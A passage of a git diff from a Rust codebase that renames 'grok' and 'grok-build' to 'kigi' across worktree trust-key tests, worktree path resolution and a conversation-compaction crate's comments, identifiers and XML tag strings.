     // A read error must NOT be mistaken for "no grants": bail without renaming so
@@ -1277,7 +1277,7 @@ mod tests {
 
     #[test]
     fn workspace_key_collapses_linked_worktrees_onto_main_checkout() {
-        // Every linked `grok -w` worktree of a repo must share ONE trust key:
+        // Every linked `kigi -w` worktree of a repo must share ONE trust key:
         // its main checkout's root. Build a real repo + two linked worktrees and
         // assert each collapses onto the main checkout (so it is trusted once,
         // not re-prompted per worktree).
@@ -1416,20 +1416,20 @@ mod tests {
         );
     }
 
-    // ── workspace_key registry collapse (grok-managed worktrees) ─────────
+    // ── workspace_key registry collapse (kigi-managed worktrees) ─────────
 
     // Crate-shared env lock + env guards bundled as ONE value so the env restores
     // before the lock releases by struct field order (see lib.rs), regardless of
     // how the caller binds the fixture's return.
     use crate::LockedTestEnv;
 
-    /// Point `KIGI_SHARE_DIR` at an isolated tempdir and register one grok-managed
+    /// Point `KIGI_SHARE_DIR` at an isolated tempdir and register one kigi-managed
     /// worktree at `<home>/worktrees/repo/<name>` recording `source_repo` and
     /// `creation_mode`. The worktree dir is a PLAIN directory — NOT a git linked
     /// worktree — so only the registry can collapse it. Returns `(env, worktree
     /// dir)`; the [`LockedTestEnv`] holds the lock and restores `KIGI_SHARE_DIR` on
     /// drop (before releasing the lock), so the caller may bind it any way.
-    fn register_grok_worktree(
+    fn register_kigi_worktree(
         temp: &tempfile::TempDir,
         name: &str,
         source_repo: &Path,
@@ -1440,7 +1440,7 @@ mod tests {
         // Canonicalize so macOS /var -> /private/var agrees between the stored
         // record path and the canonicalized lookup query.
         let root = dunce::canonicalize(temp.path()).unwrap();
-        let home = root.join("grok-home");
+        let home = root.join("kigi-home");
         let wt = home.join("worktrees").join("repo").join(name);
         std::fs::create_dir_all(&wt).unwrap();
 
@@ -1470,7 +1470,7 @@ mod tests {
     }
 
     #[test]
-    fn workspace_key_collapses_standalone_grok_worktree_onto_source_repo() {
+    fn workspace_key_collapses_standalone_kigi_worktree_onto_source_repo() {
         // A standalone worktree is a full clone with its OWN `.git`, so git
         // topology can't link it to its source; the registry (worktrees.db) must
         // collapse it onto the recorded source repo so trust is shared. The
@@ -1484,13 +1484,13 @@ mod tests {
         std::fs::create_dir_all(&source_repo).unwrap();
         git2::Repository::init(&source_repo).unwrap();
 
-        let (_env, wt) = register_grok_worktree(&temp, "wt", &source_repo, "standalone");
+        let (_env, wt) = register_kigi_worktree(&temp, "wt", &source_repo, "standalone");
 
         let expected = canonicalize_or_owned(&source_repo);
         assert_eq!(
             workspace_key(&wt),
             expected,
-            "a standalone grok worktree must collapse onto its recorded source repo"
+            "a standalone kigi worktree must collapse onto its recorded source repo"
         );
         // A cwd nested below the worktree root collapses onto the same key (the
         // registry walk ascends to the registered worktree).
@@ -1517,7 +1517,7 @@ mod tests {
         let subdir = repo.join("crates").join("sub");
         std::fs::create_dir_all(&subdir).unwrap();
 
-        let (_env, wt) = register_grok_worktree(&temp, "wt", &subdir, "standalone");
+        let (_env, wt) = register_kigi_worktree(&temp, "wt", &subdir, "standalone");
 
         assert_eq!(
             workspace_key(&wt),
@@ -1532,7 +1532,7 @@ mod tests {
         // `<kigi_home>/worktrees`: `worktree_record_for_cwd` skips the registry
         // there, so the key falls back to git/cwd. Non-vacuous: the registry IS
         // populated with a real git source repo that WOULD be returned for a
-        // worktree cwd, and `outside` is its OWN git repo (under grok HOME but not
+        // worktree cwd, and `outside` is its OWN git repo (under kigi HOME but not
         // under its `worktrees/`) so the fallback is deterministic (no conditional
         // skip) — we assert the key is `outside`'s own root, never the source repo.
         let temp = tempfile::TempDir::new().unwrap();
@@ -1541,10 +1541,10 @@ mod tests {
         std::fs::create_dir_all(&source_repo).unwrap();
         git2::Repository::init(&source_repo).unwrap();
 
-        let (_env, _wt) = register_grok_worktree(&temp, "wt", &source_repo, "standalone");
+        let (_env, _wt) = register_kigi_worktree(&temp, "wt", &source_repo, "standalone");
 
-        // Under grok HOME but NOT under `<home>/worktrees`, and its own git repo.
-        let outside = root.join("grok-home").join("not-worktrees").join("proj");
+        // Under kigi HOME but NOT under `<home>/worktrees`, and its own git repo.
+        let outside = root.join("kigi-home").join("not-worktrees").join("proj");
         std::fs::create_dir_all(&outside).unwrap();
         git2::Repository::init(&outside).unwrap();
 
diff --git a/crates/codegen/kigi-workspace/src/worktree/mod.rs b/crates/codegen/kigi-workspace/src/worktree/mod.rs
index 83dc6fb..3a36928 100644
--- a/crates/codegen/kigi-workspace/src/worktree/mod.rs
+++ b/crates/codegen/kigi-workspace/src/worktree/mod.rs
@@ -618,11 +618,11 @@ pub fn resolve_label_collision(base_dir: &Path, label: &str) -> String {
 // Worktree Base Directory Resolution
 // ============================================================================
 
-/// Resolve the grok home for worktree paths via the **same** resolver used for
+/// Resolve the kigi home for worktree paths via the **same** resolver used for
 /// `worktrees.db` (`kigi_fast_worktree::resolve_kigi_home`), so checkout dirs and
 /// the metadata DB always live under the same `.kigi` tree. That resolver
 /// canonicalizes its `$HOME` fallback to match `kigi_config::kigi_home()`,
-/// so worktree paths also agree with trust/hooks and other grok-home paths.
+/// so worktree paths also agree with trust/hooks and other kigi-home paths.
 fn kigi_home() -> std::path::PathBuf {
     kigi_fast_worktree::resolve_kigi_home().unwrap_or_else(|_| {
         dirs::home_dir()
@@ -641,7 +641,7 @@ pub fn worktree_base_dir(git_root: &Path) -> std::path::PathBuf {
 }
 
 /// Resolves the worktree base directory (`~/.kigi/worktrees/<repo_name>`)
-/// for a given source path, correctly handling grok-managed worktrees.
+/// for a given source path, correctly handling kigi-managed worktrees.
 ///
 /// When `source_path` is already under `~/.kigi/worktrees/<repo>/...`, the
 /// repo name is derived from the directory structure directly. This avoids
@@ -649,7 +649,7 @@ pub fn worktree_base_dir(git_root: &Path) -> std::path::PathBuf {
 /// as the main repo root (returning the worktree itself instead of the
 /// original repo).
 ///
-/// For paths outside the grok worktree directory, falls back to
+/// For paths outside the kigi worktree directory, falls back to
 /// `find_main_repo_root_from_path` + `worktree_base_dir`.
 pub fn worktree_base_dir_for_source(source_path: &Path) -> Result<std::path::PathBuf> {
     let worktrees_dir = kigi_home().join("worktrees");
@@ -724,7 +724,7 @@ fn worktree_record_for_cwd(cwd: &str) -> Option<(WorktreeDb, WorktreeRecord)> {
     None
 }
 
-/// The recorded source repo of the grok-managed worktree containing `cwd`, if any.
+/// The recorded source repo of the kigi-managed worktree containing `cwd`, if any.
 ///
 /// Thin wrapper over [`worktree_record_for_cwd`] that drops the DB handle;
 /// returns `None` (without DB I/O) for paths outside `~/.kigi/worktrees/`.
@@ -2276,7 +2276,7 @@ pub async fn remove_jj_workspace(workspace_path: &str) -> Result<()> {
 
 /// Request to resume an existing session in a fresh worktree.
 ///
-/// ACP equivalent of `grok -w -r <session_id>` (optionally with `--ref`).
+/// ACP equivalent of `kigi -w -r <session_id>` (optionally with `--ref`).
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ResumeSessionInWorktreeRequest {
@@ -2296,7 +2296,7 @@ pub struct ResumeSessionInWorktreeRequest {
     pub git_ref: Option<String>,
 }
 
-/// Response from `x.ai/git/worktree/resume_session`.
+/// Response from `kigi/git/worktree/resume_session`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ResumeSessionInWorktreeResponse {
@@ -2339,7 +2339,7 @@ pub struct RehydrateSessionRequest {
     pub worktree_path: Option<String>,
 }
 
-/// Response from `x.ai/session/rehydrate`.
+/// Response from `kigi/session/rehydrate`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RehydrateSessionResponse {
@@ -2596,7 +2596,7 @@ mod tests {
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
 
-        let ref_name = "refs/grok/subagents/dispose-1";
+        let ref_name = "refs/kigi/subagents/dispose-1";
         let returned = snapshot_and_remove_subagent_worktree(&wt, &repo, ref_name)
             .await
             .unwrap();
@@ -2622,7 +2622,7 @@ mod tests {
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
 
-        let ref_name = "refs/grok/subagents/dispose-2";
+        let ref_name = "refs/kigi/subagents/dispose-2";
         snapshot_and_remove_subagent_worktree(&wt, &repo, ref_name)
             .await
             .unwrap();
@@ -2669,7 +2669,7 @@ mod tests {
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
 
-        let ref_name = "refs/grok/subagents/standalone-1";
+        let ref_name = "refs/kigi/subagents/standalone-1";
         let returned = snapshot_subagent_worktree(&wt, &repo, ref_name)
             .await
             .unwrap();
@@ -2719,7 +2719,7 @@ mod tests {
         let result = snapshot_and_remove_subagent_worktree(
             &not_a_worktree,
             &not_a_worktree,
-            "refs/grok/subagents/dispose-3",
+            "refs/kigi/subagents/dispose-3",
         )
         .await;
 
@@ -2750,7 +2750,7 @@ mod tests {
         // Canonicalize so macOS /var -> /private/var agrees between the stored
         // record path and `db.get`'s canonicalized query path.
         let root = dunce::canonicalize(temp.path()).unwrap();
-        let home = root.join("grok-home");
+        let home = root.join("kigi-home");
         let wt = home.join("worktrees").join("repo").join("wt");
         std::fs::create_dir_all(&wt).unwrap();
         // Acquire the lock, then set the env under it (LockedTestEnv restores the
@@ -2849,7 +2849,7 @@ mod tests {
         git_commit_all(&repo, "initial");
 
         // Unique basename → unique DB id, so a concurrent open_default writer
-        // can't clobber this row (GrokHomeFixture is not visible across crates).
+        // can't clobber this row (KigiHomeFixture is not visible across crates).
         let wt = temp.path().join("fork-cancel-wt");
         WorktreeBuilder::new(&repo, &wt).create().unwrap();
 
diff --git a/crates/common/kigi-compaction/Cargo.toml b/crates/common/kigi-compaction/Cargo.toml
index 7c05932..2336a57 100644
--- a/crates/common/kigi-compaction/Cargo.toml
+++ b/crates/common/kigi-compaction/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-compaction"
 version.workspace = true
 edition.workspace = true
-description = "Shared, transport-agnostic compaction engine for Grok chat and Grok Build."
+description = "Shared, transport-agnostic compaction engine for Kigi chat and Kigi."
 
 [dependencies]
 anyhow = { workspace = true }
diff --git a/crates/common/kigi-compaction/src/code_compaction/assemble.rs b/crates/common/kigi-compaction/src/code_compaction/assemble.rs
index 5450cd9..f8e8759 100644
--- a/crates/common/kigi-compaction/src/code_compaction/assemble.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/assemble.rs
@@ -1,4 +1,4 @@
-//! Compacted-history assembly (grok-build's rebuild structure, generic).
+//! Compacted-history assembly (kigi's rebuild structure, generic).
 //!
 //! Moved from `kigi-chat-state::compaction_utils::build_compacted_history` and
 //! made generic over a write-side item factory so any harness can assemble
@@ -8,7 +8,7 @@
 //! [SP, UP', AGENTS_MD?, UQ_last?, recent…, summary, reminder?]
 //! ```
 //!
-//! grok-build is the canonical harness. The summary carrier text is built by
+//! kigi is the canonical harness. The summary carrier text is built by
 //! [`super::summary::format_compact_summary_content`].
 
 use crate::item::CompactionItemFactory;
@@ -80,7 +80,7 @@ pub fn assemble_compacted_history<T: CompactionItemFactory>(
         compacted.push(T::new_user(wrap_user_query(last_query.as_str())));
     }
 
-    // grok-build keeps the legacy `<user_query>`-wrapped continuation text and
+    // kigi keeps the legacy `<user_query>`-wrapped continuation text and
     // appends the transcript hint after the continuation summary.
     let mut formatted_summary = format_compact_summary_content(&parts.compaction_summary);
     if let Some(ref hint) = parts.transcript_hint {
@@ -145,7 +145,7 @@ mod tests {
     }
 
     #[test]
-    fn grok_build_order_recent_before_summary() {
+    fn kigi_order_recent_before_summary() {
         let recent = vec![MockItem::Recent("a1".into()), MockItem::Recent("t1".into())];
         let out = assemble_compacted_history(parts(recent));
         // [sys, prefix, agents_md, query, a1, t1, summary, reminder]
diff --git a/crates/common/kigi-compaction/src/code_compaction/compact.rs b/crates/common/kigi-compaction/src/code_compaction/compact.rs
index 62fb367..9a12af8 100644
--- a/crates/common/kigi-compaction/src/code_compaction/compact.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/compact.rs
@@ -1,6 +1,6 @@
-//! grok-build's full-replace compaction pass.
+//! kigi's full-replace compaction pass.
 //!
-//! grok-build does not select a tail to keep; it summarizes the whole
+//! kigi does not select a tail to keep; it summarizes the whole
 //! conversation and rebuilds a fresh history from scratch. This module is the
 //! transport-agnostic orchestration of that pass:
 //!
@@ -41,7 +41,7 @@ pub struct FullReplaceContext<T> {
     /// The last real user query (raw), kept verbatim post-compaction.
     pub last_user_query: Option<String>,
     /// Working tail retained verbatim (tool/subagent results from the current
-    /// turn). grok-build keeps this; pass empty to drop it.
+    /// turn). kigi keeps this; pass empty to drop it.
     pub recent_messages: Vec<T>,
     /// Pre-rendered `<system-reminder>` (edited files, running tasks,
     /// subagents, MCP, …). The harness builds this; we only carry it.
@@ -99,7 +99,7 @@ pub struct FullReplaceOutput<T> {
 
 /// A successful full-replace **sampling** pass (summary only, no assembly).
 ///
-/// Returned by [`sample_full_replace_summary`] for harnesses (grok-build's
+/// Returned by [`sample_full_replace_summary`] for harnesses (kigi's
 /// shell) that drive the input ladder and assemble the history themselves —
 /// they build the assembly inputs (state-context system-reminder, AGENTS.md,
 /// plan-mode) *after* the LLM call, so they cannot use the bundled
@@ -111,7 +111,7 @@ pub struct FullReplaceSummary {
     pub attempts: u32,
 }
 
-/// Run grok-build's full-replace compaction pass and return the rebuilt
+/// Run kigi's full-replace compaction pass and return the rebuilt
 /// history. Pure orchestration: no triggers, no persistence, no commit.
 ///
 /// - `llm_turns` — the (harness-prepared/sanitized) conversation the model
@@ -172,7 +172,7 @@ where
 /// and report every attempt through `observer`. Returns the raw summary; the
 /// caller assembles the history (and owns the input ladder).
 ///
-/// This is the seam grok-build's shell uses: it drives the verbatim → fitted →
+/// This is the seam kigi's shell uses: it drives the verbatim → fitted →
 /// lossy input ladder around this call (stepping on a
 /// [`FullReplaceError::Sampler`] with `context_overflow = true`) and assembles
 /// the compacted history afterward from inputs it gathers post-sampling.
@@ -193,7 +193,7 @@ where
     }
 
     let prompt = CompactionPrompt {
-        // grok-build appends the summarization prompt as the final user
+        // kigi appends the summarization prompt as the final user
         // message; there is no separate system prompt for the compaction call.
         system: String::new(),
         user: build_summary_prompt(user_context),
@@ -366,11 +366,11 @@ mod tests {
     }
 
     /// Golden end-to-end test: a realistic conversation + a mock sampler that
-    /// returns a structured summary must produce grok-build's exact compacted
+    /// returns a structured summary must produce kigi's exact compacted
     /// history shape, with the LLM output cleaned and the agent-state reminder
     /// carried through as the final item.
     #[tokio::test]
-    async fn full_replace_produces_grok_build_history_shape() {
+    async fn full_replace_produces_kigi_history_shape() {
         let llm_turns = vec![
             MockItem::System("you are a helpful assistant".into()),
             MockItem::User("fix the login bug".into()),
diff --git a/crates/common/kigi-compaction/src/code_compaction/config.rs b/crates/common/kigi-compaction/src/code_compaction/config.rs
index 5dce92e..1bd1929 100644
--- a/crates/common/kigi-compaction/src/code_compaction/config.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/config.rs
@@ -1,4 +1,4 @@
-//! grok-build compaction configuration.
+//! kigi compaction configuration.
 //!
 //! Holds the [`FullReplaceConfig`] tunables struct (mirroring
 //! [`IntraCompactionConfig`](crate::intra_compaction::IntraCompactionConfig) /
@@ -9,12 +9,12 @@
 
 /// Default auto-compact threshold (% of context window) when no other source
 /// (env var, user config, remote per-model/global flags) sets it. Shared by
-/// grok-build and Grok chat (~85% trigger on both sides).
+/// kigi and Kigi chat (~85% trigger on both sides).
 pub const DEFAULT_AUTO_COMPACT_THRESHOLD_PERCENT: u8 = 85;
 
 /// Minimum character count for a cleaned summary seed.
 ///
-/// grok-build retries when the cleaned summary is shorter than this — the
+/// kigi retries when the cleaned summary is shorter than this — the
 /// smallest healthy prod summary observed was ~3,242 chars; anything under
 /// 500 is treated as degenerate and retried like a transient failure.
 pub const MIN_SUMMARY_SEED_CHARS: usize = 500;
diff --git a/crates/common/kigi-compaction/src/code_compaction/failure.rs b/crates/common/kigi-compaction/src/code_compaction/failure.rs
index b52bf60..f8d86dd 100644
--- a/crates/common/kigi-compaction/src/code_compaction/failure.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/failure.rs
@@ -2,7 +2,7 @@
 //! LLM calls.
 //!
 //! The *policy* lives here (shared across harnesses); the per-harness error
-//! types and their wrapping (e.g. grok-build's `SamplingError` →
+//! types and their wrapping (e.g. kigi's `SamplingError` →
 //! `CompactFailure(acp::Error)`) stay in thin host wrappers that delegate the
 //! status/message decisions to these functions.
 
diff --git a/crates/common/kigi-compaction/src/code_compaction/mod.rs b/crates/common/kigi-compaction/src/code_compaction/mod.rs
index 26b33a7..b75137a 100644
--- a/crates/common/kigi-compaction/src/code_compaction/mod.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/mod.rs
@@ -1,11 +1,11 @@
-//! grok-build's "code agent" compaction subsystem.
+//! kigi's "code agent" compaction subsystem.
 //!
-//! grok-build does not select a tail to keep; it summarizes the whole
+//! kigi does not select a tail to keep; it summarizes the whole
 //! conversation and rebuilds a fresh history from scratch (the *full-replace*
 //! strategy). This module groups that subsystem — generic over the engine's
 //! [`CompactionItem`](crate::item::CompactionItem) /
 //! [`CompactionItemFactory`](crate::item::CompactionItemFactory) seams — so it
-//! can be reused as a unit by grok-build, separate from Grok chat's
+//! can be reused as a unit by kigi, separate from Kigi chat's
 //! [`intra_compaction`](crate::intra_compaction) (tail-keep, per-step) and
 //! [`inter_compaction`](crate::inter_compaction) (chunked, between-turn).
 //!
diff --git a/crates/common/kigi-compaction/src/code_compaction/observer.rs b/crates/common/kigi-compaction/src/code_compaction/observer.rs
index dffdfcb..35bc0c3 100644
--- a/crates/common/kigi-compaction/src/code_compaction/observer.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/observer.rs
@@ -1,14 +1,14 @@
-//! Observability seam for the full-replace (grok-build) pass.
+//! Observability seam for the full-replace (kigi) pass.
 //!
 //! The shared orchestrator reports per-attempt and terminal outcomes through
-//! this trait so each harness can emit its own telemetry (grok-build:
+//! this trait so each harness can emit its own telemetry (kigi:
 //! `CompactionAttempt` rows, `CompactionRetryDegraded` events, span records,
 //! request-artifact persistence) without the shared crate depending on a
 //! telemetry backend. Mirrors
 //! [`IntraCompactionObserver`](crate::intra_compaction::IntraCompactionObserver)
 //! / [`InterCompactionObserver`](crate::inter_compaction::InterCompactionObserver).
 //!
-//! Emission points are part of the behavior contract: the grok-build observer
+//! Emission points are part of the behavior contract: the kigi observer
 //! preserves the pre-migration `CompactionAttempt`/`CompactionRetryDegraded`
 //! semantics byte-for-byte.
 
diff --git a/crates/common/kigi-compaction/src/code_compaction/prompt.rs b/crates/common/kigi-compaction/src/code_compaction/prompt.rs
index ac5697e..28a20bd 100644
--- a/crates/common/kigi-compaction/src/code_compaction/prompt.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/prompt.rs
@@ -1,12 +1,12 @@
-//! grok-build's session-level summarization prompt.
+//! kigi's session-level summarization prompt.
 //!
-//! Split out of the crate-root `prompt` module so grok-build's full-replace
+//! Split out of the crate-root `prompt` module so kigi's full-replace
 //! prompt lives alongside the rest of its [`code_compaction`](crate::code_compaction)
-//! subsystem. The Grok chat's step-level intra prompt
+//! subsystem. The Kigi chat's step-level intra prompt
 //! ([`format_compaction_prompt`](crate::prompt::format_compaction_prompt))
 //! stays at the crate root.
 
-/// Build grok-build's session-level summarization prompt (no chat history).
+/// Build kigi's session-level summarization prompt (no chat history).
 ///
 /// `user_context` is the optional `/compact <text>` user-provided context,
 /// spliced inline into the structured prompt. Ported verbatim from
@@ -49,11 +49,11 @@ your response.
 /// The prompt is owned by the harness's [`CompactionSampler`] impl (it appends
 /// the prompt as the final user message before sampling), not by the shared
 /// orchestrator. This enum lets each harness select the right one in one place
-/// so the structured (grok-build) and short self-summary prompts stay
+/// so the structured (kigi) and short self-summary prompts stay
 /// shared instead of duplicated per harness.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
 pub enum SummaryPromptKind {
-    /// grok-build's detailed, numbered-section summary prompt.
+    /// kigi's detailed, numbered-section summary prompt.
     #[default]
     Structured,
     /// The short self-summarization prompt.
@@ -106,7 +106,7 @@ mod tests {
     #[test]
     fn kind_structured_matches_build_summary_prompt() {
         // The Structured kind must be byte-identical to the legacy entry point
-        // so routing through the selector never changes grok-build's prompt.
+        // so routing through the selector never changes kigi's prompt.
         assert_eq!(
             build_summary_prompt_kind(SummaryPromptKind::Structured, None),
             build_summary_prompt(None)
diff --git a/crates/common/kigi-compaction/src/code_compaction/sample.rs b/crates/common/kigi-compaction/src/code_compaction/sample.rs
index 3f35188..0b13370 100644
--- a/crates/common/kigi-compaction/src/code_compaction/sample.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/sample.rs
@@ -1,8 +1,8 @@
 //! The shared bounded-retry summary-sampling loop.
 //!
-//! The canonical `sample → classify → retry` loop, used by **both** grok-build's
+//! The canonical `sample → classify → retry` loop, used by **both** kigi's
 //! full-replace pass ([`sample_full_replace_summary`](super::sample_full_replace_summary))
-//! and Grok chat's intra `Shared` summarizer
+//! and Kigi chat's intra `Shared` summarizer
 //! ([`apply_intra_compaction`](crate::intra_compaction::apply_intra_compaction)).
 //! Centralising it here removes the two near-identical copies that previously
 //! lived in `code_compaction::compact` and `intra_compaction::compact`.
@@ -18,7 +18,7 @@
 //!
 //! The loop is *content-neutral*: callers build the prompt, map the structured
 //! [`SampleRetryError`] onto their own error type, and decide whether to clean
-//! the winning summary (grok-build cleans in its assembler; intra cleans via
+//! the winning summary (kigi cleans in its assembler; intra cleans via
 //! [`format_compact_summary`](super::format_compact_summary)). Per-attempt
 //! telemetry flows through the [`FullReplaceObserver`] seam; callers without
 //! per-attempt metrics (intra) pass `&()`.
@@ -63,7 +63,7 @@ pub enum SampleRetryError {
         /// Whether re-sending the same input cannot help.
         deterministic: bool,
         /// Whether the failure was a context-length overflow (a deterministic
-        /// signal the grok-build host uses to step down its input size).
+        /// signal the kigi host uses to step down its input size).
         context_overflow: bool,
         /// Total attempts made.
         attempts: u32,
diff --git a/crates/common/kigi-compaction/src/code_compaction/summary.rs b/crates/common/kigi-compaction/src/code_compaction/summary.rs
index d3c4e1d..d2bfde0 100644
--- a/crates/common/kigi-compaction/src/code_compaction/summary.rs
+++ b/crates/common/kigi-compaction/src/code_compaction/summary.rs
@@ -3,7 +3,7 @@
 //! Moved verbatim from `kigi-chat-state`'s `compaction_utils`. Covers:
 //!
 //! - cleaning the compaction model's raw output ([`format_compact_summary`]),
-//! - the grok-build continuation carrier ([`format_compact_summary_content`]),
+//! - the kigi continuation carrier ([`format_compact_summary_content`]),
 //! - the canonical `<user_query>` wrapping ([`wrap_user_query`]).
 
 /// Clean the compaction model's raw output into the plain-text `Summary:`
diff --git a/crates/common/kigi-compaction/src/history/filter.rs b/crates/common/kigi-compaction/src/history/filter.rs
index 17cd8a7..be281bf 100644
--- a/crates/common/kigi-compaction/src/history/filter.rs
+++ b/crates/common/kigi-compaction/src/history/filter.rs
@@ -1,7 +1,7 @@
 //! Item filtering and user-query extraction for history compaction —
 //! generic over [`CompactionItem`] / [`CompactionItemBuilder`].
 //!
-//! Behavior is byte-for-byte identical for Grok chat (`T = Arc<GrokTurn>`).
+//! Behavior is byte-for-byte identical for Kigi chat (`T = Arc<KigiTurn>`).
 
 use tracing::info;
 
@@ -43,7 +43,7 @@ pub fn keep_turn_for_basic_compaction<T: CompactionItem + ?Sized>(turn: &T) -> b
 ///   [`CompactionItemBuilder::strip_tool_content`]).
 /// - Keep `User` items as-is (separation happens later).
 /// - Drop `System` and non-summary `Developer` items; keep prior compaction
-///   summaries so their `<grok_user_queries>` sections can be split out.
+///   summaries so their `<kigi_user_queries>` sections can be split out.
 pub fn filter_turns_for_inter_compaction<T: CompactionItemBuilder>(turns: &[T]) -> Vec<T> {
     turns
         .iter()
@@ -73,9 +73,9 @@ pub fn filter_turns_for_inter_compaction<T: CompactionItemBuilder>(turns: &[T])
 ///
 /// A prior compaction from DnC has the format:
 /// ```text
-/// <grok_user_queries>
+/// <kigi_user_queries>
 /// ...user messages...
-/// </grok_user_queries>
+/// </kigi_user_queries>
 ///
 /// <chunk_summary index="0">
 /// ...
@@ -83,13 +83,13 @@ pub fn filter_turns_for_inter_compaction<T: CompactionItemBuilder>(turns: &[T])
 /// ```
 ///
 /// Returns `(all_user_messages_sections, rest)`.
-/// Extracts **all** `<grok_user_queries>...</grok_user_queries>` blocks
+/// Extracts **all** `<kigi_user_queries>...</kigi_user_queries>` blocks
 /// (there may be multiple after chained compactions) and concatenates them.
 /// Everything outside these blocks is returned as `rest`.
 /// If no blocks are found, returns `(None, full_text)`.
 pub fn split_prior_compaction_text(text: &str) -> (Option<String>, String) {
-    let start_tag = "<grok_user_queries>";
-    let end_tag = "</grok_user_queries>";
+    let start_tag = "<kigi_user_queries>";
+    let end_tag = "</kigi_user_queries>";
 
     let mut user_sections = Vec::new();
     let mut rest = String::new();
@@ -158,11 +158,11 @@ pub fn truncate_middle(msg: &str, max_chars: usize) -> Option<String> {
     Some(format!("{}...[truncated]...{}", front, back))
 }
 
-/// Extract a `<grok_user_queries>` XML block from `User` items in `turns`.
+/// Extract a `<kigi_user_queries>` XML block from `User` items in `turns`.
 ///
-/// Walks `turns`, finds `User` items, and formats each as a `<grok_query>`
+/// Walks `turns`, finds `User` items, and formats each as a `<kigi_query>`
 /// element with text content (from [`CompactionItem::text`]) and any
-/// `<grok_file id="..." name="..." />` lines for the item's attachment
+/// `<kigi_file id="..." name="..." />` lines for the item's attachment
 /// refs. Long user messages are truncated via [`truncate_middle`].
 ///
 /// Returns `None` if no user items produced any non-empty content.
@@ -171,7 +171,7 @@ pub fn extract_user_queries_from_turns<T: CompactionItem>(
     user_truncate_chars: u32,
 ) -> Option<String> {
     let threshold = user_truncate_chars as usize;
-    let mut result = String::from("<grok_user_queries>\n");
+    let mut result = String::from("<kigi_user_queries>\n");
     let mut emitted_any = false;
 
     for turn in turns {
@@ -188,7 +188,7 @@ pub fn extract_user_queries_from_turns<T: CompactionItem>(
         }
         emitted_any = true;
 
-        result.push_str("<grok_query>");
+        result.push_str("<kigi_query>");
         match truncate_middle(&text, threshold) {
             Some(truncated) => {
                 info!(
@@ -204,23 +204,23 @@ pub fn extract_user_queries_from_turns<T: CompactionItem>(
             result.push('\n');
             for att_ref in attachments {
                 result.push_str(&format!(
-                    "<grok_file id=\"{}\" name=\"{}\" />\n",
+                    "<kigi_file id=\"{}\" name=\"{}\" />\n",
                     att_ref.id, att_ref.name
                 ));
             }
         }
-        result.push_str("</grok_query>\n");
+        result.push_str("</kigi_query>\n");
     }
 
     if !emitted_any {
         return None;
     }
-    result.push_str("</grok_user_queries>");
+    result.push_str("</kigi_user_queries>");
     Some(result)
 }
 
 /// Walk `turns`, find any prior compaction summary items, extract their
-/// `<grok_user_queries>` blocks via [`split_prior_compaction_text`], and
+/// `<kigi_user_queries>` blocks via [`split_prior_compaction_text`], and
 /// concatenate them.
 ///
 /// Returns `None` if no prior compaction items are present or none
@@ -237,26 +237,26 @@ pub fn extract_prior_user_queries<T: CompactionItemBuilder>(turns: &[T]) -> Opti
 /// Output of [`separate_prior_user_queries`].
 #[derive(Debug, Clone)]
 pub struct SeparatedHistoryTurns<T> {
-    /// `turns` with the `<grok_user_queries>` block stripped from every
+    /// `turns` with the `<kigi_user_queries>` block stripped from every
     /// prior compaction summary item. Safe to feed to the compaction LLM —
     /// it will not re-emit the user-queries metadata.
     /// A prior compaction item whose `rest` is empty after stripping is
     /// dropped entirely.
     pub turns_for_llm: Vec<T>,
-    /// Concatenation of every `<grok_user_queries>` block found (in
+    /// Concatenation of every `<kigi_user_queries>` block found (in
     /// document order, joined by `\n`). `None` if no prior compaction
     /// item contained a user-queries block. Preserved verbatim so it
     /// can be passed to [`assemble_user_queries_preamble`].
     pub prior_user_queries: Option<String>,
     /// `true` if at least one prior compaction summary item was observed,
-    /// regardless of whether it contained a `<grok_user_queries>` block.
+    /// regardless of whether it contained a `<kigi_user_queries>` block.
     /// Used by inter-compaction to record the
     /// `ConversationCompactionCount{status="recompaction"}` metric.
     pub has_prior_compaction: bool,
 }
 
 /// Walk `turns`, split every prior compaction summary item into (a) its
-/// `<grok_user_queries>` block (preserved verbatim for the next summary)
+/// `<kigi_user_queries>` block (preserved verbatim for the next summary)
 /// and (b) the rest of the summary content (rebuilt as a new summary item
 /// and forwarded to the LLM). Non-compaction items are forwarded unchanged.
 ///
@@ -264,10 +264,10 @@ pub struct SeparatedHistoryTurns<T> {
 /// handle prior compactions identically:
 ///
 /// - **inter** calls this on the filtered item list before its chunking
-///   loop, so the LLM never sees `<grok_user_queries>` from earlier rounds.
+///   loop, so the LLM never sees `<kigi_user_queries>` from earlier rounds.
 /// - **intra** calls this on `turns_to_compact` for the `History` target
 ///   before sampling, for the same reason. Without this stripping, the LLM
-///   would see the prior `<grok_user_queries>` and tend to copy it into the
+///   would see the prior `<kigi_user_queries>` and tend to copy it into the
 ///   new summary — which then chains with the explicit preamble we prepend,
 ///   snowballing across re-compactions.
 pub fn separate_prior_user_queries<T: CompactionItemBuilder>(
@@ -293,7 +293,7 @@ pub fn separate_prior_user_queries<T: CompactionItemBuilder>(
             }
             // Matches inter's previous inline behavior (`if !rest.is_empty()`):
             // a prior compaction item whose entire content was the
-            // `<grok_user_queries>` block (and therefore stripped to an empty
+            // `<kigi_user_queries>` block (and therefore stripped to an empty
             // `rest`) contributes nothing for the LLM and is dropped here.
             if !rest.is_empty() {
